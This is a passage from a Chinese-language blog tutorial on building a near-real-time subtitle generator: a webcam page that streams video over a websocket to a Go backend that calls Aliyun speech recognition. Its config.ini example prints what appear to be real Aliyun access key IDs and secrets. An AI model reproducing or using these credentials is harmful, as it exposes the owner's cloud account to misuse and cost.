sudo echo 'export PATH=$GOPATH/bin:$GOROOT/bin:$PATH' >> ~/.zshrc
source ~/.zshrc

执行
go version
输出版本信息说明安装成功

4.2 前端实现

只有一个 html 页面,通过 websocket 跟后端建立连接,进行数据交互,包含一些必要的 dom 节点,以及三个按钮。

javascript 脚本包含四部分,

  • 第一部分是使用
    navigator.mediaDevices.getUserMedia
    打开用户的媒体设备,这个工具函数底层是通过 WebRTC 来实现的,随后跟后端建立 websocket 连接,使用 ws.onmessage 将获取到的后端消息添加上 dom 节点里
  • 后三部分分别是三个按钮所绑定的函数,
    • startGenerageSubtitle() ,绑定「启动字幕生成」按钮,功能是启动字幕的生成,函数内部会启动定时器,以三秒为周期,记录用户媒体的视频流,通过 websocket 对象发送到后端
    • stopGenerageSubtitle(),绑定「停止生成字幕」按钮,功能是停止生成字幕,删除定时器,终止视频流的记录和发送。
    • clearGenerageSubtitle(),绑定「清空字幕」按钮,清空 html 页面已有的字幕,清除 dom 元素的节点内容。
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <title>字幕生成</title>
</head>
<body>
<h1>椿辉近实时字幕生成工具</h1>
<div>
  <div style="width: 700px; float: left; display: block">
    <video id="video" autoplay></video>
    <button id="startButton" onclick="startGenerageSubtitle()">启动字幕生成</button>
    <button id="stopButton"  onclick="stopGenerageSubtitle()">停止生成字幕</button>
    <button id="clearButton"  onclick="clearGenerageSubtitle()">清空字幕</button>
    <p id="subtitle" style="text-align: center"></p>
  </div>
  <div  style="width: 500px; float: left; display: block">
    <h3>所有字幕</h3>
    <p id="result"></p>
  </div>
</div>

<script>
  const video = document.getElementById('video');
  const result = document.getElementById('result');
  const subtitle = document.getElementById('subtitle');
  let ws = null;
  let mediaRecorder = null;
  let isRecording = false;
  let intervalId = null;
  // 获取用户媒体设备
  navigator.mediaDevices.getUserMedia({ video: true, audio: true })
          .then((stream) => {
            console.log("ws ===>", ws);
            ws = new WebSocket('ws://localhost:8080');
            video.srcObject = stream;
            // 建立WebSocket连接
            ws.onopen = function (){
              console.log('===> WebSocket连接已经建立');
            };
            ws.onmessage = function(map) {
              let newP = document.createElement("p");//创建一个p标签
              newP.innerText = map.data;
              result.appendChild(newP);
              subtitle.textContent = map.data;
              console.log(map.data);
            }
          })
          .catch((err) => {
            console.log(err);
          });
  // 启动字幕生成
  function startGenerageSubtitle() {
    if (isRecording) {
      console.log('===> 已经在生成字幕');
      return;
    }
    console.log('===> 开始生成字幕');
    isRecording = true;
    // 获取用户媒体设备
    navigator.mediaDevices.getUserMedia({ video: true, audio: true })
            .then((stream) => {
              console.log("每3秒发送一次视频流数据")
              // 每3秒发送一次视频流数据
              intervalId = setInterval(() => {
                const mediaRecorder = new MediaRecorder(stream, {
                  mimeType: 'video/webm;codecs=h264'
                });
                mediaRecorder.addEventListener('dataavailable', (event) => {
                  if (event.data.size > 0) {
                    // 发送数据到后端
                    ws.send(event.data);
                  }
                });
                mediaRecorder.start();
                // console.log("mediaRecorder.start===", mediaRecorder)
                setTimeout(() => {
                  // console.log("mediaRecorder.stop===", mediaRecorder)
                  mediaRecorder.stop();
                }, 3000);
              }, 3000);
            })
            .catch((err) => {
              console.log(err);
            });
  }
  // 停止生成字幕
  function stopGenerageSubtitle() {
    if (!isRecording) {
      console.log('===> 没有在生成字幕');
      return;
    }
    console.log('===> 停止生成字幕');
    isRecording = false;
    clearInterval(intervalId);
    // mediaRecorder.stop();
  }

  // 清空字幕
  function clearGenerageSubtitle() {
    subtitle.textContent = "";
    result.innerHTML = "<p></p>";
  }
</script>
</body>
</html>

4.3 后端实现

借助了一个开源项目
wxbool/video-srt
,这个开源项目可以把本地视频文件转成音频(通过 ffmpeg 实现),传到 OSS,并调用阿里的语音识别服务获取到字幕信息,我对他进行了一些改造,加入了服务的监听启动,随后使用 websocket 接收前端视频流,把视频流转存成本地视频文件,最后调用了 video-srt 的原有逻辑代码,完成了视频流字幕的提取生成。下面是一些关键代码。

项目根路径的 main.go 以 http 服务监听 8080 端口的形式启动服务,接口的回调处理函数是 RecognizeHandler2

RecognizeHandler2() 函数的代码逻辑在根路径下的 handler.go 中,用 websocket 来处理这个 http 接口,循环读取前端的视频流,把视频流存储成一个本地视频文件,调用 getSubtitle() 函数提取视频文件中的字幕, getSubtitle() 封装了原开源项目
wxbool/video-srt
的既有能力。

5、效果演示

关闭所有代理,否则调用阿里云的 SDK 可能超时,以及访问阿里云的 OSS 也可能超时。

5.1 启动前的参数设置

如果你想运行本项目,请先拉取
luoChunhui-1024/video-subtitle
项目到本地,把项目根目录的 config.ini 中的各种参数替换成刚才让你记录下来的那些阿里云配置。

#字幕相关设置
[srt]
#智能分段处理:true(开启) false(关闭)
intelligent_block=true

#阿里云Oss对象服务配置
#文档:https://help.aliyun.com/document_detail/31827.html?spm=a2c4g.66666686623.6.582.4e7858a85Dr5pA
[aliyunOss]
# OSS 对外服务的访问域名
endpoint=oss-cn-beijing.aliyuncs.com
# 存储空间(Bucket)名称
bucketName=my-test-bucket-lch
# 存储空间(Bucket 域名)地址
bucketDomain=my-test-bucket-lch.oss-cn-beijing.aliyuncs.com
accessKeyId=LTAI5t7A8mUG4JX5QUcKBuon
accessKeySecret=49onfEooPnlpfkHPfW3j6TBEDviYmu

#阿里云语音识别配置
#文档:
[aliyunClound]
# 在管控台中创建的项目Appkey,项目的唯一标识
appKey=5Xcb7kOlcSFAF248
accessKeyId=LTAI5t7A8mUG4JX5QUcKBuon
accessKeySecret=49onfEooPnlpfkHPfW3j6TBEDviYmu

5.2 启动运行

先在后端项目的根路径对项目进行编译,编译完成后在项目根路径会生成一个
output
可执行文件

go build -tags="recorder" -mod=mod -o output

直接执行这个可执行文件,即可启动后端服务

./output

随后通过浏览器打开项目中的
html/index.html
文件,过程中可能会询问获取麦克风和摄像头权限,允许即可,这样前端也启动完成了。

提示:Mac 可以直接在浏览器的地址栏输入 html 页面的绝对路径来打开 html 页面

5.3 效果展示

整体界面如下,由于本人样貌丑陋,为了不影响大家学习的心情,所以打了马赛克。

点击「启动字幕生成」按钮,则会开始每三秒给后端发送一次视频流,后端经过大概 6~8 秒的处理,把视频字幕返回给前端进行展示。所以字幕相较于画面中的语音,是有 8~9 秒的延迟的。

画面右侧会展示已有的字幕,画面最下方则仅展示最新的字幕。

点击「停止字幕生成」按钮,终止给后端发送视频流的定时器。但是点击启动字幕生成按钮可以再次启动定时器,进行字幕生成。

点击「清空字幕」按钮,会同时清空画面右侧的「所有字幕」和画面下方的最新字幕。

6、项目地址

github:
https://github.com/luoChunhui-1024/video-subtitle

7、参考和致谢

特别感谢
wxbool/video-srt
项目,本项目后端的大部分都是直接借用了该项目,也特别感谢
chatgpt
,虽然它提供的代码和方式坑了我很多次,但是仍旧给我提供了很大的帮助。

其他参考

阿里云智能语音交互帮助文档

错误码查询

golang服务端与web前端使用websocket通信

Golang使用WebSocket通信

通过使用WebSocket使前后端数据交互

webRTC结合webSocket实时通信

WebRTC 从实战到未来!前端如何实现一个最简单的音视频通话?

WebRTC API:MediaDevices.getUserMedia()

实时websocket视频流存储

创建和插入DOM节点

实时语音识别-websocket API
(百度的产品,这次其实没有用上)

实时语音转写 API 文档
(讯飞的产品,这次也没用上)